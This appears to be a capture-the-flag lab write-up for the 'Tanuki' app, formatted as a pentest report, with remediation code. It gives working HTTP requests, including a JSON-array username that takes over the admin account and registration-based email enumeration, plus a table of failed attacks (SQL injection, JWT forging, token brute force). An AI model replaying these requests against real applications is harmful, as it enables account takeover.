Tanuki: Set Membership Authorization Bypass to Admin Account Takeover
Executive Summary
Tanuki is a React single page application backed by an Express API, using HS256 JWTs for
session authentication. The password change endpoint accepts the target account name from
the request body rather than from the caller’s token. Its authorization check normalizes
that value to a list and asks whether the caller appears anywhere in the list, then runs
the password update across every name in the same list. Any account can therefore include
its own name alongside admin in one request and take over the administrator account.
Testing confirmed 2 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Password change authorizes set membership but executes across the whole set | Critical | 9.8 (1) | CWE-863, CWE-285, CWE-639 | POST /api/profile/change-password |
| F2 | Registration discloses whether an account already exists | Medium | 5.3 | CWE-204 | POST /api/register |
(1) Scored PR:N. The endpoint returns 401 without a token, but registration is open and
unauthenticated, so obtaining the required token is a single request available to anyone. A
scorer who treats the endpoint as authenticated and uses PR:L lands at 8.8, High.
F1 is the finding that produced the flag. The authorization check is neither missing nor weak
against tampering, as the rejected alg=none token and the rejected plain string in Failed
Approaches show. It fails on a question of scope. It confirms that the caller is one of the
accounts being written instead of confirming that the caller is the only account being
written. One request from a free account resets the password of every name supplied.
Objective
Determine whether an ordinary registered user of the Tanuki application can change the administrator’s password.
Scope / Initial Access
# Target Application
URL: https://lab-1785594003834-hnhl5y.labs-app.bugforge.io
# Auth details
Registration: POST /api/register, open, no approval or email confirmation
Session: HS256 JWT, sent as Authorization: Bearer <token>
JWT payload: {"id":4,"username":"haxor","iat":1785...} (no role claim)
Start state: account "haxor", id 4, role user
Registration returns a usable JWT directly in its response, so a working session is one
unauthenticated request away. The token payload carries an id and a username and nothing
else, while GET /api/verify-token returns "role":"user" for the same token, so the role
is not carried inside the token and cannot be raised by editing it.
Reconnaissance: mapping a build with no prior match
The application bundle was fingerprinted first and compared against the five Tanuki builds recorded in earlier engagements. It matched none of them, so the endpoint surface was rebuilt from scratch rather than assumed from prior work.
- The bundle is
main.ee88be32.jsat 558,354 bytes, withlast-modifiedofSun, 31 May 2026 17:11:29 GMT. None of the five previously recorded Tanuki bundle hashes match, so the routes and the defect classes from earlier rotations were treated as hypotheses only. - Express serves the single page application from a catch all route: a GET to any
/api/*path with no registered handler returns the 812 byteindex.htmlwith a 200 status. Endpoint discovery was therefore judged onContent-Type, not on status code. - Extracting the HTTP calls from the bundle by method and path, rather than by searching for path strings, produced the full route table below. It includes a password reset subsystem that appears in none of the earlier builds.
- The frontend builds the body for
POST /api/profile/change-passwordas{username, newPassword}, takingusernamefrom its own client state rather than from the session. The account being modified is chosen by the request body, which makes that field the natural target. - Responses from that endpoint carry an
accounts_updatedfield that the client never sends, sitting at a value of 1. A count the client did not ask for suggests the update underneath it can report more than one row, which made the field worth probing. GET /api/admin/usersreturns403 {"error":"Admin access required"}for a user token, so administrative routes are gated on the server and the role is resolved from something other than the token.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (Node.js). access-control-allow-origin: * on API responses |
| Frontend | React single page application, MUI components, axios for HTTP |
| Auth | JWT HS256 as a Bearer token. Payload holds id, username, iat only. Signature is verified: a tampered payload with the original signature returns Invalid token |
| Database | Not directly observed. Behavior is consistent with a relational store using parameterized queries and exact match on username (inferred from the rule outs in Failed Approaches, not confirmed) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | No | Returns a JWT on success |
/api/login |
POST | No | Returns a JWT and a user object including role |
/api/verify-token |
GET | Yes | Returns the resolved user object including role |
/api/forgot-password |
POST | No | Generic response for existing and unknown addresses |
/api/reset-password |
POST | No | Body contract is {token, password} |
/api/profile/change-password |
POST | Yes | Target account taken from the request body |
/api/users/:username/profile |
GET | No | Public profile, does not return the email address |
/api/community, /api/stats |
GET | Yes | Not probed during this engagement |
/api/decks, /api/decks/:id |
GET, POST, DELETE | Yes | Not probed during this engagement |
/api/shared/:token |
GET | No | Not probed during this engagement |
/api/study/* |
GET, POST | Yes | Not probed during this engagement |
/api/admin/users, /api/admin/decks, /api/admin/cards |
GET, POST, PUT, DELETE | Yes, admin | 403 for a user token |
Known Users
| Username | ID | Role |
|---|---|---|
admin |
1 | admin |
haxor |
4 | user (supplied starting account) |
zzctl1 |
5 | user (registered during testing) |
student |
unknown | unknown (seed account; GET /api/users/student/profile returns a member_since matching admin’s to the second) |
Attack Chain Visualization
┌────────────────────────┐ ┌────────────────────────┐ ┌────────────────────────┐
│ POST /api/register │ │ POST /api/profile/ │ │ 200 │
│ open, instant │ │ change-password │ │ {"message":"Password │
│ returns JWT, │──▶│ {"username": │──▶│ updated", │
│ role:user │ │ ["zzctl1","admin"], │ │ "accounts_updated":2} │
│ │ │ "newPassword":"..."} │ │ two rows written │
└────────────────────────┘ └────────────────────────┘ └────────────────────────┘
│
▼
┌────────────────────────┐
│ POST /api/login │
│ admin / PwnedByHaxor1! │
│ → id:1, role:"admin" │
│ user.email = bug{...} │
└────────────────────────┘
Findings
F1: Password change authorizes set membership but executes across the whole set
Severity: Critical
CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-863 (Incorrect Authorization), CWE-285 (Improper Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key). CWE-863 is the closest fit: the check runs, and it runs on the wrong question.
Endpoint: POST /api/profile/change-password
Authentication required: Yes, any valid user token. Registration is open, which is why
the score uses PR:N.
Description
The endpoint takes the account to modify from the username field of the request body. Two
defects compound:
- The
usernamefield accepts a JSON array as well as a string, and the handler treats both forms as a list of target accounts. - The authorization check tests whether the caller’s name appears within that list. It does not test whether the caller’s name is the only entry. The update then runs against every entry.
The check is genuinely list aware rather than a loose substring comparison. Sending the
concatenated string "zzctl1admin" returns 403, which a substring match would have allowed.
The array is what changes the outcome.
Isolating one variable at a time as the account zzctl1:
Request body username |
Result |
|---|---|
"admin" |
403 You can only change your own password |
["admin"] |
403, the caller’s own name must be present |
"zzctl1admin" |
403, so the check is not a substring match |
["zzctl1"] |
200, accounts_updated: 1 |
["zzctl1","admin"] |
200, accounts_updated: 2 |
["zzctl1","student","admin"] |
200, accounts_updated: 3 |
The count returned in accounts_updated rises with each name added. That count on its own
does not establish that multiple rows were written: every name used in these probes belonged
to a real account, so nothing here separates a genuine rows-affected value from an echo of
the array length. What establishes it is Step 3 below, where the administrator authenticates
with the password supplied in the request, so that row was written. The count is what made
the endpoint worth pursuing rather than what settles it. One probe naming an account that
does not exist would separate the two readings, and it was not run before the instance was
torn down.
The server source was never obtained, so the handler shape below is reconstructed from these responses. It is an inference consistent with the observed behavior, not recovered code.
// RECONSTRUCTED from black box behavior, not read from the server
const names = Array.isArray(username) ? username : [username];
if (!names.includes(req.user.username)) // "are you IN the target set?"
return res.status(403).json({ error: "You can only change your own password" });
db.run("UPDATE users SET password = ? WHERE username IN (...)", ...); // applies to ALL of them
Impact
Full takeover of any account, including the administrator, from any free registered account. A single request can reset the passwords of as many accounts as are named in it.
Reproduction
Step 1: Register an ordinary account
POST /api/register HTTP/1.1
Host: lab-1785594003834-hnhl5y.labs-app.bugforge.io
Content-Type: application/json
{"username":"zzctl1","email":"[email protected]","password":"Passw0rd!","full_name":"ctl","role":"admin"}
Response: 200 with {"token":"eyJhbGciOiJIUzI1NiIs...","user":{"id":5,"username":"zzctl1",...}}.
The account is created as id 5 and the response carries a usable JWT. The role field in the
request body is ignored: a later login for this account returns "role":"user".
Step 2: Change the password for the caller and the administrator in one request
POST /api/profile/change-password HTTP/1.1
Host: lab-1785594003834-hnhl5y.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJ6emN0bDEiLCJpYXQiOjE3ODU1OTY0Mzd9.2DmKf6bgcLwvup9sQQ4MJ7kgX36CwZVIiKrg06cKXBo
Content-Type: application/json
{"username":["zzctl1","admin"],"newPassword":"PwnedByHaxor1!"}
{"message":"Password updated","accounts_updated":2}
The token belongs to zzctl1, id 5, role user. Two rows were written.
Step 3: Log in as the administrator with the password just set
POST /api/login HTTP/1.1
Host: lab-1785594003834-hnhl5y.labs-app.bugforge.io
Content-Type: application/json
{"username":"admin","password":"PwnedByHaxor1!"}
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsImlhdCI6MTc4NTU5NjQzOH0.D9_Jp8Ik6HqpWILyfEnUvxLdWxH3HEcCBFr3hJU5f1s","user":{"id":1,"username":"admin","email":"bug{4NYR7B8IKIntLlDhAxe8NjO0XkOgMQ6n}","full_name":"Tanuki Admin","role":"admin"}}
The session returned is id 1 with "role":"admin". The lab flag is delivered in place of the
administrator’s email address.
Login does verify passwords, which was checked separately: four recorded attempts with wrong
passwords against admin were rejected before this step, so the success above is a
consequence of the password change and not of a permissive login route.
Remediation
Fix 1: Authorize exclusivity, not membership, and reject non string identifiers
// BEFORE (Vulnerable)
const names = Array.isArray(username) ? username : [username];
if (!names.includes(req.user.username))
return res.status(403).json({ error: "You can only change your own password" });
db.run("UPDATE users SET password = ? WHERE username IN (...)", ...);
// AFTER (scope corrected)
if (typeof username !== "string")
return res.status(400).json({ error: "username must be a string" });
if (username !== req.user.username)
return res.status(403).json({ error: "You can only change your own password" });
const hash = await hashPassword(newPassword);
db.run("UPDATE users SET password = ? WHERE username = ?", [hash, req.user.username]);
This closes the cross-account write, which is the defect. It is not the finished secure state, because it still sets a new password without proof that the caller owns the account. Fix 2 is the version to ship.
Fix 2: Take the target account from the session, not from the request
The endpoint changes the caller’s own password, so it has no reason to accept a target
account at all. Dropping username from the request contract and reading
req.user.username removes the class of defect rather than patching this instance of it.
// AFTER (Secure, preferred)
// route: POST /api/profile/change-password body: { currentPassword, newPassword }
const user = await getUserById(req.user.id);
if (!await verifyPassword(currentPassword, user.password))
return res.status(403).json({ error: "Current password is incorrect" });
await setPassword(req.user.id, newPassword);
Additional recommendations:
- Require the current password before accepting a new one. The endpoint as observed does not ask for it, so a stolen or borrowed session is enough to lock the legitimate owner out.
- Validate request body types at the edge with a schema, so a field declared as a string is rejected when it arrives as an array, an object, or a number. The same type flexibility reached the reset flow’s presence check during this engagement.
- Audit every other write route that accepts an identifier from the request body for the same membership rather than exclusivity question. Bulk update, delete, invite, and share routes are commonly written to accept a value that is either a scalar or a list.
- Invalidate existing sessions for an account whose password is changed, and notify the account owner out of band.
F2: Registration discloses whether an account already exists
Severity: Medium
CVSS v3.1: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWE: CWE-204 (Observable Response Discrepancy)
Endpoint: POST /api/register
Authentication required: No
Description
Registration returns two distinguishable outcomes. A new account returns 200 with a token,
while a collision returns {"error":"Username or email already exists"}. Because the check
covers both fields, holding the username unique turns the endpoint into a test for whether a
given email address is already registered. The discriminating response was reproduced 24
times during a separate concurrency test, so the behavior is stable rather than incidental.
POST /api/forgot-password returns the same generic message for known and unknown addresses,
which is the correct pattern. Registration undoes it.
One address was identified through this behavior: [email protected] is registered, which
establishes example.com as the domain used for seeded accounts. [email protected] is a
genuine negative, since it registered successfully instead of colliding.
An important limitation applies to this technique on this endpoint, and it produced a false
result during the engagement before being caught. Every probe here is a write, so a miss
creates the account being tested, and the response cannot tell you afterwards which of the
two just happened. Two sweeps of candidate role addresses ran early in the engagement. The
second reported 13 registered names, and all 13 were accounts the first sweep had created on
its own misses. The server’s id sequence refutes the original reading: admin holds id 1 and
the engagement’s first registration took id 5, while id 4 was the account supplied at the
start, which leaves only ids 2 and 3 for any further seeded accounts. Thirteen seeded
addresses cannot fit in two slots.
The [email protected] result is insulated from that contamination for two reasons, and
neither depends on the registration endpoint. Both sweeps enumerated role local parts
(administrator, root, sysadmin, support, webmaster and similar) and neither list
contained student, so neither sweep could have created it. Separately, the public profile
route returns a member_since value for student that matches admin’s to the second,
placing the account in the original seed data rather than in traffic generated during
testing.
Impact
Allows an unauthenticated visitor to confirm whether a given email address or username holds an account.
Reproduction
Step 1: Register a unique username against a candidate email address
POST /api/register HTTP/1.1
Host: lab-1785594003834-hnhl5y.labs-app.bugforge.io
Content-Type: application/json
{"username":"zzprobe01","email":"[email protected]","password":"Passw0rd!","full_name":"p"}
Response: {"error":"Username or email already exists"}. The username is unique, so the
collision is on the email address.
Step 2: Repeat against an address expected to be absent
POST /api/register HTTP/1.1
Host: lab-1785594003834-hnhl5y.labs-app.bugforge.io
Content-Type: application/json
{"username":"zzprobe02","email":"[email protected]","password":"Passw0rd!","full_name":"p"}
Response: 200 with a token, and the account is created. The two response shapes separate a
registered address from an unregistered one.
Note that Step 2 has just created an account for the address it tested. Running this against a candidate list means every miss seeds the very thing a later probe would report as a hit, which is why the sweeps described above refuted themselves.
Remediation
Fix 1: Return one response shape for both outcomes
// BEFORE (Vulnerable)
if (await userExists(username, email))
return res.status(409).json({ error: "Username or email already exists" });
const user = await createUser(username, email, password);
return res.json({ token: sign(user), user });
// AFTER (Secure)
// Same status, same body, whether or not the account already existed.
// The real outcome is delivered out of band to the address supplied.
// Check the two collisions separately: a taken username with a fresh
// address must not send "you already have an account" to that address.
if (await emailExists(email)) {
await sendAccountExistsEmail(email);
} else if (await usernameExists(username)) {
await sendUsernameTakenEmail(email, username);
} else {
const user = await createUser(username, email, password);
await sendWelcomeEmail(email, user);
}
return res.status(202).json({ message: "Check your email to finish signing up." });
This changes the registration contract. The endpoint currently returns a usable session token immediately, and a deferred confirmation cannot, so the frontend has to move the sign in step behind the emailed link. That tradeoff is the price of closing the disclosure on this route.
Additional recommendations:
- Rate limit registration per source address and per email domain, and require a challenge after a small number of attempts, so sweeping a candidate list costs more than one cheap request per address.
- Separate the username collision message from the email collision message only after confirming the address by mail, never in the immediate response.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: F1. An ordinary user modifies the administrator’s credentials through a route intended to change only the caller’s own password.
- A04:2021 Insecure Design: F1. The endpoint accepts the account to modify from the request body when the caller’s identity is already established by the token, and it accepts a new password without requiring the current one.
- A07:2021 Identification and Authentication Failures: F1 and F2. Passwords for arbitrary accounts are settable without proof of ownership, and registration confirms which accounts exist.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Intercepting proxy, request replay, and the saved history used for evidence capture |
| curl | Independent capture of the exploit and result requests, outside the proxy |
Python 3 (race_register.py) |
25 concurrent registrations released from a shared barrier, to test whether the duplicate check was check then insert |
Python 3 (token_brute.py) |
Generated and fired 5,072 reset token candidates across the measured request window |
jwt.secrets.list and SecLists JWT secret wordlists |
103,979 candidate secrets against the HS256 signature |
References
- CWE-285: Improper Authorization
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-204: Observable Response Discrepancy
- OWASP Top 10 2021: A01 Broken Access Control
- OWASP Authentication Cheat Sheet: account enumeration responses
- OWASP Forgot Password Cheat Sheet
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Register a name that collides with admin at lookup time (Admin, admin with a trailing space) |
Each variant wrote only its own row, and logging in as admin with those passwords failed |
The account lookup is an exact, case sensitive match, so the variants are separate rows rather than aliases of the same one |
Exploit an asymmetry between the check and the lookup, by holding a variant account and sending the body "admin" |
403 | The check is a strict exact comparison, matching the lookup rather than diverging from it |
SQL injection on the username field of the password change |
Registered zzt' AND '1'='2 as a username, then changed its own password: accounts_updated: 1 |
A concatenated query would have matched zero rows. The statement is parameterized |
Force the update to match by pattern, assuming a LIKE comparison |
Registered zzctl%, changed its own password: accounts_updated: 1, and zzctl1 was untouched |
The comparison is =, not LIKE |
SQL truncation, to make a long username collapse onto admin |
Usernames of 20 to 100 characters stored at full length, no second admin row appeared |
The column does not truncate silently |
| Race the registration duplicate check, 25 concurrent registrations of one username released together | Exactly 1 success | Uniqueness is enforced at the database, not by a separate read before the insert |
Mass assignment of role at registration |
Body carried "role":"admin", and the account’s later login returned "role":"user" |
The field is dropped before the insert. This one shipped in an earlier Tanuki rotation, which is why it was worth one request |
JWT attacks: alg=none, payload edited under the original signature, and a wordlist attack on the HS256 secret with 103,979 candidates |
Invalid token for both tampering attempts, no hit on the secret |
The signature is verified rather than decoded, and the token carries no role claim to edit even if it were forgeable |
SQL injection and type confusion on the reset token field, 8 forms including array, object, numeric, and boolean |
Identical Invalid or expired reset token every time |
Unvalidated negative. A known good reset token was never held, so this instrument was never shown to distinguish a real token from a rejected one. Treat as untested rather than clean |
| Predict a reset token, 5,072 candidates covering every millisecond across the measured 54 ms request window plus or minus 1.5 s, small integers, unix seconds, and md5, sha1, sha256 of the email, username, and id | Zero hits | Consistent with tokens from a cryptographic random source |
Inject a target selector into the reset request, adding username, email, userId, and id alongside a bogus token |
No change in response | The reset route resolves its target from the token alone |
| Hunt for a mail catcher or debug route, 25 candidate paths | All returned the single page application shell | No such route is bound. This is where judging on Content-Type rather than status code mattered, since all 25 returned 200 |
| Find a profile rename route to change a username after registration | Cannot PUT/PATCH/POST/DELETE /api/profile, and no /api/profile/:username or /api/profile/update write route |
Earlier Tanuki builds shipped PUT /api/profile/:username. This build removed it |
| Enumerate the administrator’s email address, 267 candidate addresses swept through registration | 13 apparent hits, all of them false | Every probe against this route is a write, so a miss creates the account. The hit set was exactly the previous sweep’s own registrations. The control used at the time, that unique local parts still registered successfully, tests saturation and cannot detect where a hit came from |
Tags: #webapp #broken-access-control #cwe-863 #cwe-285 #cwe-639 #type-confusion #account-takeover #bugforge #tanuki
Document Version: 1.1
Last Updated: 2026-08-05